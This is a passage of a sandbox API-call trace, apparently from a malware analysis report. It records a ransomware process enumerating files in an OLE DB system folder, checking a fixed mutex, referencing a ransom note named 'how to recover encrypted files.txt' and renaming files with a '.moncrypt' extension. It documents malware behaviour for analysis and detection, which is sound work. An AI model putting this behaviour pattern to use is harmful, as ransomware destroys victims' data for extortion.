lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rll DB\\sqloledb.rllo", lpUsedDefaultChar=0x0) returned 4 [0057.128] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 0x54e200 [0057.128] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0057.128] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0057.128] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll", dwFileAttributes=0x20) returned 0 [0057.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.moncrypt" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.moncrypt")) returned 0 [0057.130] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0057.130] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.130] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.130] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.130] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.130] GlobalUnlock (hMem=0x44000c) returned 0 [0057.130] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.130] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.130] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.130] GlobalUnlock (hMem=0x44000c) returned 0 [0057.130] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.130] GlobalUnlock (hMem=0x440004) returned 0 [0057.130] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.130] CharLowerBuffW (in: lpsz="sqlxmlx.dll", cchLength=0xb | out: lpsz="sqlxmlx.dll") returned 0xb [0057.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll", cchWideChar=55, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll", lpUsedDefaultChar=0x0) returned 55 [0057.131] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll DB\\sqlxmlx.dll", lpUsedDefaultChar=0x0) returned 4 [0057.131] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0057.131] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.131] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.131] GlobalLock (hMem=0x440004) returned 0x550170 [0057.131] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.131] GlobalUnlock (hMem=0x440004) returned 0 [0057.132] GlobalLock (hMem=0x440004) returned 0x550170 [0057.132] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.132] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.132] GlobalUnlock (hMem=0x440004) returned 0 [0057.132] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.132] GlobalUnlock (hMem=0x44000c) returned 0 [0057.132] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.132] CharLowerBuffW (in: lpsz="sqlxmlx.rll", cchLength=0xb | out: lpsz="sqlxmlx.rll") returned 0xb [0057.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.132] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll", cchWideChar=55, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll", lpUsedDefaultChar=0x0) returned 55 [0057.133] CharLowerBuffW (in: lpsz=".rll", cchLength=0x4 | out: lpsz=".rll") returned 0x4 [0057.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rll DB\\sqlxmlx.rll", lpUsedDefaultChar=0x0) returned 4 [0057.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 0x54e200 [0057.133] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0057.133] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0057.133] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll", dwFileAttributes=0x20) returned 0 [0057.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.moncrypt" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.moncrypt")) returned 0 [0057.134] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0057.134] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.134] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.134] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.134] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.134] GlobalUnlock (hMem=0x44000c) returned 0 [0057.134] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.134] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.134] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.134] GlobalUnlock (hMem=0x44000c) returned 0 [0057.134] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.134] GlobalUnlock (hMem=0x440004) returned 0 [0057.134] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.135] CharLowerBuffW (in: lpsz="xmlrw.dll", cchLength=0x9 | out: lpsz="xmlrw.dll") returned 0x9 [0057.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll", cchWideChar=53, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll", lpUsedDefaultChar=0x0) returned 53 [0057.135] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll DB\\xmlrw.dll", lpUsedDefaultChar=0x0) returned 4 [0057.135] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0057.136] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.136] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.136] GlobalLock (hMem=0x440004) returned 0x550170 [0057.136] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.136] GlobalUnlock (hMem=0x440004) returned 0 [0057.136] GlobalLock (hMem=0x440004) returned 0x550170 [0057.136] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.136] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.136] GlobalUnlock (hMem=0x440004) returned 0 [0057.136] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.136] GlobalUnlock (hMem=0x44000c) returned 0 [0057.136] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.136] CharLowerBuffW (in: lpsz="xmlrwbin.dll", cchLength=0xc | out: lpsz="xmlrwbin.dll") returned 0xc [0057.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll", cchWideChar=56, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dllo", lpUsedDefaultChar=0x0) returned 56 [0057.137] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll DB\\xmlrwbin.dllo", lpUsedDefaultChar=0x0) returned 4 [0057.137] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, 